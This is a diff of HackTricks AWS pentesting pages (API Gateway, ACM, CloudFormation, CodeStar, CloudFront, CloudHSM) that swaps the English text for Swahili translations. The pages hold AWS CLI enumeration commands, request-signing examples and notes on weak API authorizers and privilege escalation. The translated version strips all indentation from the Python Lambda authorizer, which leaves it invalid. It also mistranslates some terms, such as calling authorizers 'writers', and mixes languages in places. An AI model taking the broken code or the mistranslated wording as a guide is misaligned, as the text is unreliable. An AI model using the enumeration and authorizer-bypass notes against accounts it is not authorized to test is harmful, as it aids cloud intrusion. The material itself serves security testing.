PUT, DELETE) na rasilimali. Pia inaweza kuunda SDKs za mteja (Software Development Kits) ili kurahisisha waendelezaji kuita APIs zako kutoka kwenye programu zao. ### API Gateways Types -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: Jenga REST APIs zenye latency ya chini na gharama nafuu zikiwa na vipengele vilivyojumuishwa kama OIDC na OAuth2, na msaada wa asili wa CORS. Inafanya kazi na yafuatayo: Lambda, HTTP backends. +- **WebSocket API**: Jenga WebSocket API kwa kutumia muunganisho endelevu kwa matumizi ya wakati halisi kama vile programu za mazungumzo au dashibodi. Inafanya kazi na yafuatayo: Lambda, HTTP, AWS Services. +- **REST API**: Tengeneza REST API ambapo unapata udhibiti kamili juu ya ombi na jibu pamoja na uwezo wa usimamizi wa API. Inafanya kazi na yafuatayo: Lambda, HTTP, AWS Services. +- **REST API Private**: Unda REST API ambayo inapatikana tu kutoka ndani ya VPC. ### API Gateway Main Components -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}. -2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage. - - The stage is indicated at the beggining of the URL of the API Gateway endpoint. -3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**. -4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API. - - In order to make effect the API needs to be **deployed again after** the resource policy is modified. +1. **Resources**: Katika API Gateway, rasilimali ni vipengele ambavyo **vinaunda muundo wa API yako**. Zinawakilisha **njia au mwisho tofauti** wa API yako na zinahusiana na vitendo mbalimbali ambavyo API yako inasaidia. Rasilimali ni kila mbinu (mfano, GET, POST, PUT, DELETE) **ndani ya kila njia** (/, au /users, au /user/{id}). +2. **Stages**: Hatua katika API Gateway zinawakilisha **matoleo au mazingira tofauti** ya API yako, kama vile maendeleo, hatua, au uzalishaji. Unaweza kutumia hatua kusimamia na kupeleka **matoleo mengi ya API yako kwa wakati mmoja**, ikiruhusu kujaribu vipengele vipya au marekebisho ya makosa bila kuathiri mazingira ya uzalishaji. Hatua pia **zinasaidia mabadiliko ya hatua**, ambayo ni jozi za funguo-thamani ambazo zinaweza kutumika kubadilisha tabia ya API yako kulingana na hatua ya sasa. Kwa mfano, unaweza kutumia mabadiliko ya hatua kuelekeza maombi ya API kwa kazi tofauti za Lambda au huduma nyingine za nyuma kulingana na hatua. +- Hatua inaonyeshwa mwanzoni mwa URL ya mwisho wa API Gateway. +3. **Authorizers**: Waandishi katika API Gateway wanawajibika kwa **kudhibiti ufikiaji wa API yako** kwa kuthibitisha utambulisho wa mpiga simu kabla ya kuruhusu ombi kuendelea. Unaweza kutumia **AWS Lambda functions** kama waandishi maalum, ambayo inakuwezesha kutekeleza mantiki yako ya uthibitishaji na idhini. Wakati ombi linapokuja, API Gateway inapeleka tokeni ya uthibitishaji wa ombi kwa waandishi wa Lambda, ambaye anashughulikia tokeni hiyo na kurudisha sera ya IAM inayotathmini ni vitendo gani mpiga simu anaruhusiwa kufanya. API Gateway pia inasaidia **waandishi wa ndani**, kama vile **AWS Identity and Access Management (IAM)** na **Amazon Cognito**. +4. **Resource Policy**: Sera ya rasilimali katika API Gateway ni hati ya JSON ambayo **inafafanua ruhusa za kufikia API yako**. Ni sawa na sera ya IAM lakini imeandaliwa mahsusi kwa API Gateway. Unaweza kutumia sera ya rasilimali kudhibiti nani anaweza kufikia API yako, ni mbinu zipi wanaweza kuita, na kutoka IP gani au VPCs wanaweza kuungana. **Sera za rasilimali zinaweza kutumika kwa pamoja na waandishi** ili kutoa udhibiti wa ufikiaji wa kina kwa API yako. +- Ili kufanya kazi, API inahitaji **kupelekwa tena baada ya** sera ya rasilimali kubadilishwa. ### Logging -By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**. +Kwa kawaida, **CloudWatch Logs** ziko **zimemwondolewa**, **Access Logging** iko **zimemwondolewa**, na **X-Ray tracing** pia iko **zimemwondolewa**. ### Enumeration > [!TIP] -> Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.** +> Kumbuka kwamba katika APIs zote za AWS kuhesabu rasilimali (**`apigateway`** na **`apigatewayv2`**) ruhusa pekee unayohitaji na ruhusa pekee ya kusoma inayoweza kutolewa ni **`apigateway:GET`**, kwa hiyo unaweza **kuhesabu kila kitu.** {{#tabs }} {{#tab name="apigateway" }} - ```bash # Generic info aws apigateway get-account @@ -78,11 +77,9 @@ aws apigateway get-usage-plan-key --usage-plan-id --key-id ###Already consumed aws apigateway get-usage --usage-plan-id --start-date 2023-07-01 --end-date 2023-07-12 ``` - {{#endtab }} {{#tab name="apigatewayv2" }} - ```bash # Generic info aws apigatewayv2 get-domain-names @@ -124,49 +121,43 @@ aws apigatewayv2 get-models --api-id ## Call API https://.execute-api..amazonaws.com// ``` - {{#endtab }} {{#endtabs }} -## Different Authorizations to access API Gateway endpoints +## Mamlaka tofauti za kufikia mwisho wa API Gateway -### Resource Policy +### Sera ya Rasilimali -It's possible to use resource policies to define who could call the API endpoints.\ -In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET. +Inawezekana kutumia sera za rasilimali kufafanua ni nani anaweza kuita mwisho wa API.\ +Katika mfano ufuatao unaweza kuona kwamba **IP iliyoonyeshwa haiwezi kuita** mwisho wa `/resource_policy` kupitia GET.
### IAM Authorizer -It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it. +Inawezekana kuweka kwamba mbinu ndani ya njia (rasilimali) inahitaji uthibitisho wa IAM ili kuitwa.
-When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization. - -One easy way to generate the expected token by the application is to use **curl**. +Wakati hii imewekwa utapokea kosa `{"message":"Missing Authentication Token"}` unapojaribu kufikia mwisho bila mamlaka yoyote. +Njia rahisi ya kuzalisha token inayotarajiwa na programu ni kutumia **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` - -Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**. +Njia nyingine ni kutumia aina ya **`Authorization`** **`AWS Signature`** ndani ya **Postman**.
-Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint. - -Both methods will generate an **Authorization** **header** such as: +Weka accessKey na SecretKey ya akaunti unayotaka kutumia na unaweza kuthibitisha dhidi ya API endpoint. +Mbinu zote mbili zitatengeneza **Authorization** **header** kama: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` - -Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**. +Kumbuka kwamba katika hali nyingine **Authorizer** inaweza kuwa **imeandikwa vibaya** na kutuma **chochote** ndani ya **Authorization header** kutaruhusu **kuona maudhui yaliyofichwa**. ### Request Signing Using Python - ```python pip install requests @@ -193,59 +184,56 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` - ### Custom Lambda Authorizer -It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\ -You can set each resource method that will be using the authoriser. +Inawezekana kutumia lambda ambayo kwa msingi wa token iliyotolewa it **arejeshe sera ya IAM** ikionyesha kama mtumiaji **ameidhinishwa kuita kiunganishi cha API**.\ +Unaweza kuweka kila njia ya rasilimali ambayo itakuwa ikitumia mthibitishaji.
Lambda Authorizer Code Example - ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
Call it with something like: @@ -254,7 +242,7 @@ Call it with something like: > [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Kutegemea kwenye msimbo wa Lambda, hii ruhusa inaweza kuwa na udhaifu Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` @@ -268,7 +256,7 @@ It's possible to set API endpoints that **require a valid API key** to contact i It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +To make an API key work, you need to add it to a **Usage Plan**, this usage plan must be added to the **API Stage** and the associated API stage needs to have a configured **method throttling** to the **endpoint** requiring the API key:
@@ -297,7 +285,3 @@ To make an API key work, you need to add it to a **Usage Plan**, this usage plan {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..8ce1ad3f4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -4,16 +4,15 @@ ## Basic Information -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** inatolewa kama huduma inayolenga kuboresha **ugawaji, usimamizi, na utekelezaji wa vyeti vya SSL/TLS** kwa huduma za AWS na rasilimali za ndani. Uhitaji wa michakato ya mikono, kama vile ununuzi, upakuaji, na upya wa vyeti, umeondolewa na ACM. Hii inawawezesha watumiaji kuomba na kutekeleza vyeti kwa ufanisi kwenye rasilimali mbalimbali za AWS ikiwa ni pamoja na **Elastic Load Balancers, usambazaji wa Amazon CloudFront, na APIs kwenye API Gateway**. -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +Sifa muhimu ya ACM ni **upya wa kiotomatiki wa vyeti**, ikipunguza kwa kiasi kikubwa mzigo wa usimamizi. Zaidi ya hayo, ACM inasaidia uundaji na usimamizi wa kati wa **vyeti vya kibinafsi kwa matumizi ya ndani**. Ingawa vyeti vya SSL/TLS kwa huduma za AWS zilizounganishwa kama Elastic Load Balancing, Amazon CloudFront, na Amazon API Gateway vinatolewa bila gharama za ziada kupitia ACM, watumiaji wanawajibika kwa gharama zinazohusiana na rasilimali za AWS zinazotumiwa na programu zao na ada ya kila mwezi kwa kila **Private Certificate Authority (CA)** na vyeti vya kibinafsi vinavyotumiwa nje ya huduma za ACM zilizounganishwa. -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** inatolewa kama huduma ya **CA ya kibinafsi inayosimamiwa**, ikiongeza uwezo wa ACM kwa kupanua usimamizi wa vyeti ili kujumuisha vyeti vya kibinafsi. Vyeti hivi vya kibinafsi ni muhimu katika kuthibitisha rasilimali ndani ya shirika. ## Enumeration ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,7 +46,6 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - ## Privesc TODO @@ -59,7 +55,3 @@ TODO TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..0618ada09 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**ā€”a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation ni huduma iliyoundwa ili **kurahisisha usimamizi wa rasilimali za AWS**. Inawawezesha watumiaji kuzingatia zaidi kwenye programu zao zinazofanya kazi katika AWS kwa **kupunguza muda unaotumika katika usimamizi wa rasilimali**. Kipengele kikuu cha huduma hii ni **kigezo**ā€”mfano wa kuelezea rasilimali za AWS zinazotakiwa. Mara kigezo hiki kinapopewa, CloudFormation inawajibika kwa **ugawaji na usanidi** wa rasilimali zilizotajwa. Utaftaji huu unarahisisha usimamizi wa miundombinu ya AWS kwa ufanisi zaidi na bila makosa. ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,7 +29,6 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Check for **siri** or sensitive information in the **template, parameters & output** of each CloudFormation ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStar ni huduma ya kuunda, kusimamia, na kufanya kazi na miradi ya maendeleo ya programu kwenye AWS. Unaweza kuendeleza, kujenga, na kupeleka programu haraka kwenye AWS kwa mradi wa AWS CodeStar. Mradi wa AWS CodeStar unaunda na **kuunganisha huduma za AWS** kwa ajili ya zana zako za maendeleo ya mradi. Kulingana na chaguo lako la kiolezo cha mradi wa AWS CodeStar, zana hizo zinaweza kujumuisha udhibiti wa chanzo, ujenzi, upelekaji, seva za virtual au rasilimali zisizo na seva, na zaidi. AWS CodeStar pia **inasimamia ruhusa zinazohitajika kwa watumiaji wa mradi** (inayoitwa wanachama wa timu). ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,24 +53,19 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za codestar ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## References +## Marejeleo - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..3d3939fb6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront ni **mtandao wa usambazaji wa maudhui wa AWS ambao unachochea usambazaji** wa maudhui yako ya statiki na ya dinamik kupitia mtandao wake wa kimataifa wa maeneo ya ukingo. Unapofanya ombi la maudhui unayohifadhi kupitia Amazon CloudFront, ombi hilo linaelekezwa kwenye eneo la ukingo lililo karibu zaidi ambalo linatoa latensi ya chini ili kutoa utendaji bora. Wakati **rekodi za ufikiaji wa CloudFront** zimewezeshwa unaweza kurekodi ombi kutoka kwa kila mtumiaji anayehitaji ufikiaji wa tovuti yako na usambazaji. Kama ilivyo kwa rekodi za ufikiaji za S3, rekodi hizi pia **zinahifadhiwa kwenye Amazon S3 kwa ajili ya uhifadhi wa kudumu na endelevu**. Hakuna ada kwa ajili ya kuwezesha uandishi wa rekodi wenyewe, hata hivyo, kwa kuwa rekodi zinahifadhiwa kwenye S3 utatozwa kwa uhifadhi unaotumiwa na S3. -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +Faili za rekodi zinachukua data kwa kipindi fulani na kulingana na idadi ya maombi yanayopokelewa na Amazon CloudFront kwa usambazaji huo kutategemea idadi ya faili za rekodi zinazozalishwa. Ni muhimu kujua kwamba faili hizi za rekodi hazitengenezwi au kuandikwa kwenye S3. S3 ni mahali tu ambapo zinawasilishwa mara faili ya rekodi inapojaa. **Amazon CloudFront inashikilia rekodi hizi hadi zitakapokuwa tayari kuwasilishwa kwa S3**. Tena, kulingana na ukubwa wa faili hizi za rekodi, usambazaji huu unaweza kuchukua **kati ya saa moja na 24**. -**By default cookie logging is disabled** but you can enable it. +**Kwa kawaida uandishi wa kuki umezimwa** lakini unaweza kuuwezesha. ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +Unaweza kuunda kazi katika CloudFront. Kazi hizi zitakuwa na **kiunganishi chake katika cloudfront** kilichofafanuliwa na zitaendesha **NodeJS code** iliyotangazwa. Kode hii itakimbia ndani ya **sandbox** katika mashine inayofanya kazi chini ya mashine inayosimamiwa na AWS (utahitaji kupita sandbox ili kufanikiwa kutoroka kwenye OS ya chini). -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +Kwa kuwa kazi hazikimbii katika akaunti ya AWS ya watumiaji, hakuna jukumu la IAM lililounganishwa hivyo hakuna privesc ya moja kwa moja inayowezekana kutumia kipengele hiki. ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## Upatikanaji Usioidhinishwa {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..cadb5e189 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,68 +4,62 @@ ## HSM - Hardware Security Module -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM ni kifaa cha **hardware** kilichothibitishwa kwa kiwango cha FIPS 140 level two kwa ajili ya uhifadhi salama wa funguo za cryptographic (kumbuka kwamba CloudHSM ni kifaa cha hardware, si huduma iliyovirtualized). Ni kifaa cha SafeNetLuna 7000 chenye toleo la 5.3.13 lililopakiwa awali. Kuna toleo mbili za firmware na unachagua ipi kulingana na mahitaji yako halisi. Moja ni kwa ajili ya kufuata FIPS 140-2 na kulikuwa na toleo jipya ambalo linaweza kutumika. -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +Sifa isiyo ya kawaida ya CloudHSM ni kwamba ni kifaa halisi, na hivyo **hakishirikiwa na wateja wengine**, au kama inavyotajwa mara nyingi, multi-tenant. Ni kifaa cha mpangilio wa pekee kilichotolewa kwa kazi zako pekee. -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +Kwa kawaida, kifaa kinapatikana ndani ya dakika 15 ikiwa kuna uwezo, lakini katika maeneo mengine huenda kukawa hakuna. -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +Kwa kuwa hiki ni kifaa halisi kilichotolewa kwako, **funguo zinahifadhiwa kwenye kifaa**. Funguo zinahitaji **kuigwa kwenye kifaa kingine**, kuhifadhiwa kwenye hifadhi ya nje, au kusafirishwa kwa kifaa cha akiba. **Kifaa hiki hakina msaada** kutoka S3 au huduma nyingine yoyote katika AWS kama KMS. -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +Katika **CloudHSM**, unapaswa **kupanua huduma mwenyewe**. Unapaswa kuandaa vifaa vya CloudHSM vya kutosha kushughulikia mahitaji yako ya usimbuaji kulingana na algorithimu za usimbuaji ulizochagua kutekeleza kwa suluhisho lako.\ +Upanuzi wa Huduma ya Usimamizi wa Funguo unafanywa na AWS na unapanuka kiotomatiki kwa mahitaji, hivyo kadri matumizi yako yanavyokua, ndivyo idadi ya vifaa vya CloudHSM vinavyohitajika inaweza kuongezeka. Kumbuka hili unavyopanua suluhisho lako na ikiwa suluhisho lako lina auto-scaling, hakikisha kiwango chako cha juu kimezingatiwa na vifaa vya kutosha vya CloudHSM kuhudumia suluhisho hilo. -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Kama vile upanuzi, **utendaji ni juu yako na CloudHSM**. Utendaji unategemea ni algorithimu gani ya usimbuaji inatumika na ni mara ngapi unahitaji kufikia au kupata funguo za kusimbua data. Utendaji wa huduma ya usimamizi wa funguo unashughulikiwa na Amazon na unapanuka kiotomatiki kadri mahitaji yanavyohitajika. Utendaji wa CloudHSM unapatikana kwa kuongeza vifaa zaidi na ikiwa unahitaji utendaji zaidi unapaswa kuongeza vifaa au kubadilisha njia ya usimbuaji kwa algorithimu inayokuwa haraka. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +Ikiwa suluhisho lako ni **multi-region**, unapaswa kuongeza vifaa kadhaa **CloudHSM katika eneo la pili na kutatua muunganisho wa mikoa kwa njia ya VPN ya kibinafsi** au njia nyingine yoyote kuhakikisha kuwa trafiki inakuwa salama kila wakati kati ya kifaa katika kila safu ya muunganisho. Ikiwa una suluhisho la multi-region unahitaji kufikiria jinsi ya **kuiga funguo na kuanzisha vifaa vya ziada vya CloudHSM katika mikoa unayofanya kazi**. Unaweza kuingia haraka katika hali ambapo una vifaa sita au nane vilivyotawanyika katika mikoa mbalimbali, ikiruhusu redundancy kamili ya funguo zako za usimbuaji. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** ni huduma ya daraja la biashara kwa ajili ya uhifadhi salama wa funguo na inaweza kutumika kama **mizizi ya kuaminika kwa biashara**. Inaweza kuhifadhi funguo za kibinafsi katika PKI na funguo za mamlaka ya cheti katika utekelezaji wa X509. Mbali na funguo za simetriki zinazotumika katika algorithimu za simetriki kama AES, **KMS inahifadhi na kulinda kimwili funguo za simetriki pekee (haiwezi kutenda kama mamlaka ya cheti)**, hivyo ikiwa unahitaji kuhifadhi funguo za PKI na CA, CloudHSM moja au mbili au tatu zinaweza kuwa suluhisho lako. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM ni ghali zaidi kuliko Huduma ya Usimamizi wa Funguo**. CloudHSM ni kifaa cha hardware hivyo una gharama za kudumu za kuandaa kifaa cha CloudHSM, kisha gharama ya saa ya kuendesha kifaa. Gharama inazidishwa na idadi ya vifaa vya CloudHSM vinavyohitajika ili kufikia mahitaji yako maalum.\ +Zaidi ya hayo, makadirio ya ziada yanapaswa kufanywa katika ununuzi wa programu za wahusika wengine kama vile SafeNet ProtectV suites za programu na muda na juhudi za uunganisho. Huduma ya Usimamizi wa Funguo inategemea matumizi na inategemea idadi ya funguo ulizonazo na operesheni za ingizo na utoaji. Kadri usimamizi wa funguo unavyotoa uunganisho usio na mshono na huduma nyingi za AWS, gharama za uunganisho zinapaswa kuwa chini sana. Gharama zinapaswa kuzingatiwa kama kipengele cha pili katika suluhisho za usimbuaji. Usimbuaji kwa kawaida hutumika kwa ajili ya usalama na 